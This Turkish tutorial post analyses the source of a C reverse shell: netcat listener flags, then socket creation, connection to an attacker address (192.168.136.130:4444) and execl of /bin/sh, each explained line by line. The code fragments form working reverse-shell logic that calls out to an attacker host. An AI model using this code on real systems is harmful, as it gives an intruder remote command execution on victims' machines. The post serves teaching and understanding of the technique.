Bu yazımızda C ile yazılmış Reverse Shell'in kaynak kodlarının analizini yapacağız..
Öncelikle;
Shell Nedir?
Türkçe karşılığı kabuk olan Shell, kullanıcıdan aldığı komutları yorumlayıp uygulayan bir katmadır yani kullanıcı ile kernel arasındaki iletişim yoludur.
Reverse Shell Nedir?
Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak sağlayan yapıya Reverse Shell(ters kabuk) denir.
Senaryonun özeti;
Kurban makinede herhangi bir yöntem ile sızıldığını düşünelim, bu bir exploit yardımı ile olabilir.
C ile yazılmış Reverse Shell execute edildi.
Saldırgan ise ilgili portu netcat ile dinlemeye aldı..
Buradaki -lvp parametrelerinin açıklamasını yapacak olursak..
Kod:
-l //--dinleme modu,
-v //--bağlantı sırasında Standart Error'da olan mesajların ayrıntılı biçimde gösterilmesini sağlar,
-p //--kaynak portun belirtildiği parametredir.
Kurban makinede Reverse Shell çalıştığı anda görüldüğü üzere bağlantı sağlanmış olur ve saldırgan kurban makinede bir Shell elde etmiş oldu..
Sıra geldi kurban makinede execute edilen Reverse Shell'in kaynak kodunu incelemeye..
Kod:
int mySocket;
mySocket = socket(AF_INET,SOCK_STREAM,0);
Görüldüğü üzere bir soket yapısı oluşturulmuş, bu yapı IPv4 protokolünü kullanarak TCP üzerinden veri alışverişi gerçekleştirmektedir.
Kod:
struct sockaddr_in blue;
blue.sin_family = AF_INET;
blue.sin_addr.s_addr = inet_addr("192.168.136.130");
blue.sin_port = htons(4444);
Burada blue adında bir struct oluşturulmuş. Veri alışverişinin özellikleri belirtilmiş. Saldırgan kendi adresini ve veri alışverişinin yapılacağı portu belirtmiş. Yani yukarıda netcat ile dinleme yapan saldırganın adresi inet_addr("192.168.136.130");
port ise htons(4444); bilindiği üzere dinlemeye aldığı TCP 4444 numaralı porttu.
Kod:
connect(mySocket,(struct sockaddr *)&blue,sizeof(blue));
Saldırgan kendisine connect() fonksiyonu ile bağlantı isteği gönderiyor. Burada 1. parametrede oluşturulan soket değişkeninin ismi, 2. parametre olarak saldırganın bilgilerinin tutulduğu veri yapısı son parametre ise bilgilerin boyutunun tutulduğu kısımdır.
Kod:
execl("/bin/sh","sh","-i",NULL,NULL);
execl() fonksiyonu ise saldırganın uzaktan komut çalıştırma imkanı tanıyacaktır.
execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da "/bin/sh" dir. /bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer.
İlk 3 parametreyi şöyle düşünebilirsiniz;
execl() fonksiyonu içerisinde de aslında bu işlemin aynısı yapılır ve bir komut yorumlayıcısı açılır.
Selam ve Sevgilerle layef...
Son düzenleme: